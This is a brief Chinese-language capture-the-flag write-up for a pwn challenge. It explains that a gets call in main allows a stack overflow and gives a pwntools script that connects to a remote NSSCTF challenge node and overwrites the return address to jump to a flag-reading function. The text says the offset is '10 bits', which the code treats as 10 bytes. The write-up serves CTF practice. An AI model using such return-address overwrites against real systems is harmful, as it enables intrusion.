main函数,打印一串大小,看到gets函数,存在栈溢出
看了一下没有找到system函数
找到一个读取flag.txt的函数
可以看到输入的AAAA距离返回地址差10个比特
那么写代码,控制流到这个函数试试看
from pwn import *
context(arch='amd64')
#io = process('./pwn')
io = remote('node5.anna.nssctf.cn',28872)
elf = ELF('./pwn')
flag_func = 0x400807
payload = flat([b'A'* 10,flag_func])
io.sendline(payload)
io.interactive()